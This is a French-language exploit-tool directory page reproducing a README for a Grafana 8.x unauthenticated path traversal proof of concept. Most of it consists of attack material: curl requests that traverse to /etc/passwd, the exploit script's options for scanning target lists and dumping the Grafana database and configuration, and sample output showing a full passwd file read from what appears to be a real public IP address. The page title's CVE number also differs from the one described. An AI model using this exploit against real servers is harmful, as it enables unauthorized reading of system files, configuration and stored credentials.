Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2021-43799 — Code d'exploitation Python | Kitploit
Outils/GitHubGitHub/scopion/cve-2021-43799
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsTests d'IntrusionApprentissage et Éducation
GitHubscopion/cve-2021-43799

CVE-2021-43799

Code d'exploitation Python

Voir le dépôt
121il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2021-43798

Grafana 8.x - Traversée de chemin (sans authentification) Tout le crédit revient à j0v et à son tweet https://twitter.com/j0v0x0/status/1466845212626542607

Avertissement

Ceci est uniquement à des fins éducatives. Je ne suis pas responsable de vos actions. Utilisez-le à vos propres risques. De bonne foi, j'ai retenu la publication de cette Preuve de Concept (PoC) jusqu'à ce que cette vulnérabilité soit publique ou qu'un correctif soit disponible.

Table des matières

  • Explication - Explication de la vulnérabilité
  • Vecteurs d'attaque - Liste des attaques possibles
  • Script d'exploitation - Utilisation du script d'exploitation

Explication

J'ai remarqué un tweet de j0v affirmant avoir trouvé un bug de traversée de chemin dans Grafana. Par curiosité, j'ai commencé à examiner le code source de Grafana. Dans le tweet, il était mentionné qu'il s'agissait d'un bug sans authentification. Il n'y a que quelques points de terminaison d'API publics dans Grafana, et un seul d'entre eux acceptait un chemin de fichier de la part de l'utilisateur. Grafana possède un point de terminaison d'API public, /public/plugins/:pluginId, qui permet de visualiser les ressources d'un plugin. Cela fonctionne en fournissant un :pluginId valide puis en spécifiant le chemin du fichier, par exemple img/logo.png. Cependant, Grafana ne parvient pas à assainir le chemin de fichier fourni par l'utilisateur, ce qui entraîne une traversée de chemin. Le répertoire accédé est . Sur une installation standard de Grafana, le répertoire de données de Grafana est . Ainsi, en remontant 8 répertoires, vous pouvez atteindre le répertoire racine du système de fichiers. Requête HTTP :

Télécharger l’outil
<grafana>/public/app/plugins/panel/<pluginId>
/usr/share/grafana
root@kitploit:~
GET -  http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

Code incriminé : https://github.com/grafana/grafana/blob/c80e7764d84d531fa56dca14d5b96cf0e7099c47/pkg/api/plugins.go#L284 Remarque : Cela ne fonctionne pas dans le navigateur (qui réduit automatiquement les ../ dans le chemin) Cela peut être testé avec curl en utilisant l'argument --path-as-is :

root@kitploit:~
curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

Aide :

root@kitploit:~
usage: exploit2.py [-h] [-l INPUT_LIST] [-db] [-cfg] [-c] [-t TARGET] [-f TARGET_FILE] [-w WRITE_FILE] [-v]

optional arguments:
  -h, --help            show this help message and exit
  -l INPUT_LIST, --list INPUT_LIST
                        Input list of ip:port
  -db, --database       Dump db
  -cfg, --config        Dump config
  -c, --check           Enable output regex checking (Suppress false positives)
  -t TARGET, --target TARGET
                        Single target
  -f TARGET_FILE, --file TARGET_FILE
                        Remote target file
  -w WRITE_FILE, --write WRITE_FILE
                        Directory to write files to.
  -v, --verbosity       Verbosity

Obtenir un fichier :

root@kitploit:~
./exploit.py -f /etc/passwd -l targets.list

Vider la base de données :

root@kitploit:~
./exploit.py -f /etc/passwd -l targets.list -db

Vider la configuration :

root@kitploit:~
./exploit.py -f /etc/passwd -l targets.list -cfg

Autres options :

Afficher uniquement les fichiers valides :

root@kitploit:~
python3 exploit2.py -t http://50.17.123.83:3000 -c
URL: passwd
PATH: /public/plugins/alertlist/../../../../../../../..//etc/passwd
http://50.17.123.83:3000/public/plugins/alertlist/../../../../../../../..//etc/passwd
Status: 200
Content-type:text/plain; charset=utf-8
SUCCESS: http://50.17.123.83:3000
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
ec2-instance-connect:x:112:65534::/nonexistent:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
node-exp:x:997:100::/:/usr/sbin/nologin
prometheus:x:996:997::/var/lib/prometheus:/usr/sbin/nologin
alertmanager:x:995:996::/home/alertmanager:/usr/sbin/nologin
grafana:x:113:119::/usr/share/grafana:/bin/false
am-bot:x:994:995::/opt/alertmanager_bot:/usr/sbin/nologin
blackbox-exp:x:993:994::/home/blackbox-exp:/usr/sbin/nologin
pushgateway:x:992:100::/:/usr/sbin/nologin

Écrire le fichier dans le répertoire files :

root@kitploit:~
python3 exploit2.py -t http://50.17.123.83:3000 -c -w files